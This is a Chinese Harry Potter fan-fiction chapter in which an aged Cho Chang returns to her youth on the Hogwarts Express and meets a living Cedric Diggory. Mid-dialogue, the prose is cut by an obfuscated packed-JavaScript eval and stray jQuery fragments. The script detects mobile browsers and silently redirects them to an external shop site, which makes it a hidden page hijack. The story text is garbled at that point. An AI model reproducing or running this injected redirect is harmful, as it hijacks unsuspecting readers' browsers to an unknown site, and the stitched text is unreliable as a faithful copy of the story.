秋·张死在一个很安静的秋天。
窗外有树叶落下来。
麻瓜街道被雨水洗得发亮，有人推着婴儿车从楼下经过。车轮声很轻，轻得像很远很远的地方传来的声音。
她已经很老了。
床边放着一本旧相册。
最后一页夹着一张泛黄的照片。
照片里的男孩穿着霍格沃茨校袍，金棕色头发被礼堂灯火照得很暖。他低头看镜头，灰蓝色眼睛里带着一点安静的笑。
塞德里克·迪戈里。
他永远停在了十七岁。
后来秋走过战争，也走过很多场葬礼。
时间太久了。
久到她有时候会忘记自己已经一个人活了很多年。
可有些名字，时间没有带走。
她最后一次伸出手，指尖很轻地碰到那张照片。
没有哭。
只是想。
如果还能再见一次就好了。
哪怕一次。
再睁开眼时，霍格沃茨特快正在下雨。
玛丽埃塔·艾克莫坐在她对面，正把一只巧克力蛙从袍子口袋里拽出来，皱着眉说：“它刚才差点跳进我领子里。”
秋看着她。
半天没说话。
年轻的玛丽埃塔。
还没有战争后的疲惫，也没有后来那些来不及说完的话。
玛丽埃塔抬头，看见她的脸色，手里的盒子停了一下。
“秋？”
秋想开口。
可她忘了自己要说什么。
窗外的雨声、车轮压过铁轨的声音、玛丽埃塔的声音，都像隔了一层水。
她低头看自己的手。
年轻的手。
指节细瘦，皮肤光洁，没有老去后的斑痕。
她慢慢动了一下手指。
像是不太确定这双手是不是自己的。
下一秒，车厢灯忽然灭了。
笑声停住。
冷意从门缝里钻进来，像有人把整个冬天塞进了车厢。
秋的手指慢慢攥紧书页。
摄魂怪。
她喉咙发紧。
很久以前的事，乱七八糟地涌上来。
火车上忽然熄灭的灯。
走廊里压低的哭声。
黑魔法防御课。
那一年全校都在谈论的逃犯。
还有更远一点的东西。
火焰杯。
奖杯。
墓地。
绿色的光。
人群忽然安静。
阿莫斯·迪戈里跪在草地上，喊他儿子的名字。
秋呼吸短了一下。
玛丽埃塔皱眉看她，像想问什么，最后只是把巧克力蛙往她手边推了一点。
秋低头看着那块巧克力。
几乎是本能地，她从书包里摸出另一块巧克力。
包装纸被她扯开时，指尖不太听使唤。
她掰了一半，递给玛丽埃塔。
玛丽埃塔愣住：“你怎么还带这个？”
秋低头看着手里的巧克力。
“随手放的。”
她声音很轻。
“没想到真用上了。”
玛丽埃塔看了她一会儿，没有再追问，只慢慢接过去。
车厢外有人低低惊呼。
远处传来卢平教授的声音。
秋没有动。
她只是坐在那里，听着那些声音，一点一点确认这不是梦。
不是那个安静的秋天。
不是圣芒戈。
不是战争以后。
她真的回来了。
灯重新亮起时，走廊尽头有人在安慰低年级。
秋抬起头。
塞德里克·迪戈里站在那里，胸前别着级长徽章，正把一块巧克力递给一个脸色发白的新生。
秋看见他的那一刻，手里的巧克力几乎被捏碎。
他还活着。
他微微皱着眉，低头对那个新生说话，又因为车厢里的冷气轻轻拢了一下袍子。
车灯昏暗，落在他金棕色的头发上，显得比照片里还要年轻。那块级长徽章别在他胸前，随着他的动作轻轻晃了一下。
塞德里克察觉到她的目光，转头看过来。
“秋？”
以前她会移开视线。
这一次，她站起来。
玛丽埃塔抬眼看她，却没有拦。
秋推开车厢门，走到走廊上。
“塞德里克。”
他停在车厢门口，灰蓝色眼睛里有一点意外。
离得近了，秋才发现，他额前有一缕头发被冷风吹乱了。
很轻的一点。
却真实得让她心口发疼。
“你还好吗？”他问。
秋看着他。
眼睛有点酸。
但她没有躲。
“现在好了。”
塞德里克没听懂。
他看了她一会儿，脚步停在原地，像是想问，又没有冒昧开口。
最后只是笑了一下。
“那就好。”
秋低头，才发现自己掌心里的巧克力已经被捏得不成样子。
碎屑沾在皮肤上。
塞德里克也看见了。
他从口袋里又拿出一块新的，递给她。
“这个可能更适合吃。”
秋抬眼看他。
他的指尖短暂碰到她掌心。
温热的。
活着的。
秋把那块巧克力接过来，声音很轻。
“谢谢。”
塞德里克没有马上走。
走廊另一头，卢平教授让学生都回车厢。
塞德里克侧身让过几个低年级。
秋还是站在那里。
他看了看她的手。
又抬眼看她。
只是很短的一下。
秋忽然问：“你呢？”
塞德里克看向她。
“什么？”
秋握着那块新的巧克力，指尖还有点抖。
“你还好吗？”
塞德里克静了一瞬。
他看着秋。
她黑发垂在肩侧，脸色仍然白，眼睛却很亮。
“我没事。”他说。
秋点点头。
“那就好。”
她说得太认真。
塞德里克一时没有接话。
车厢门口，玛丽埃塔站在那里。她看了看秋，又看了看塞德里克，没有立刻开口。
只是轻轻拉了一下秋的袖口。
秋回过神。
她往后退了一步。
“我先回去了。”
塞德里克点头。
“如果还不舒服，就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606278|205734||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
再吃点巧克力。”
“嗯。”
她转身走回车厢。
走了两步，又停下。
“塞德里克。”
他回头。
雨声贴着窗玻璃往下滑。
秋看着他，很慢地说：“别一个人逞强。”
塞德里克愣住。
这句话来得突然。
可秋没有再解释。
她回了车厢。
门合上的一瞬间，玛丽埃塔终于看向她。
她像忍了很久，话到了嘴边，又换成了另一句。
“吃巧克力。”
秋坐回位置。
玛丽埃塔把自己那半块推过来一点。
“你手里的都碎了。”
秋低头看着掌心。
碎掉的那一块已经不能吃了。
她把塞德里克给的那块巧克力放在膝盖上，没有拆。
车厢灯彻底亮了起来。
摄魂怪离开后，声音一点一点回到车厢里。有人小声抱怨，有人吸鼻子，也有人假装刚才一点都不害怕。
玛丽埃塔咬了一口巧克力。
余光看了秋好几次。
最后她只说：“你刚才吓到我了。”
秋低声说：“抱歉。”
“我不是要你道歉。”
玛丽埃塔停了一下。
“算了。”
她把巧克力蛙盒子收起来，靠回座位。
“你不想说就不说。”
秋抬眼看她。
玛丽埃塔装作在看窗外。
“但下次要出去，至少跟我说一声。”
秋看着她，喉咙又有一点发紧。
她点头。
“好。”
车厢重新安静下来。
秋低头，从书包里拿出一张羊皮纸。
羽毛笔握在手里时，她才发现自己的手还在发抖。
不是很明显。
只有笔尖在纸面上轻轻划出一点细碎墨痕。
她停了很久。
写下第一行。
不要让塞德里克碰奖杯。
墨迹慢慢渗进羊皮纸。
她盯着那行字，指尖压在纸边。
过了片刻，又写下几个零碎的词。
守护神。
门钥匙。
笔尖停住。
火焰杯三个字在喉咙里滚了一圈，像烫。
她没有写。
只是把纸往自己这边挪了一点，挡住玛丽埃塔可能看见的角度。
最后，她慢慢写下他的名字。
塞德里克·迪戈里。
写完以后，秋盯着那个名字看了很久。
然后又把“奖杯”两个字用笔尖轻轻划了一下。
没有划掉。
只是墨迹更重了。
玛丽埃塔没有凑过来。
她只是安静坐在对面，假装没看见秋把那张纸折起来，夹进书页最深处。
列车继续往前。
雨还没有停。
秋靠在车窗边，透过玻璃倒影看见自己的脸。
年轻的，苍白的。
走廊里已经没有塞德里克的身影。
秋慢慢握紧那块没有拆开的巧克力。
包装纸在掌心里轻轻响了一下。
她没有再看那张羊皮纸。
只是望着窗外不断后退的雨。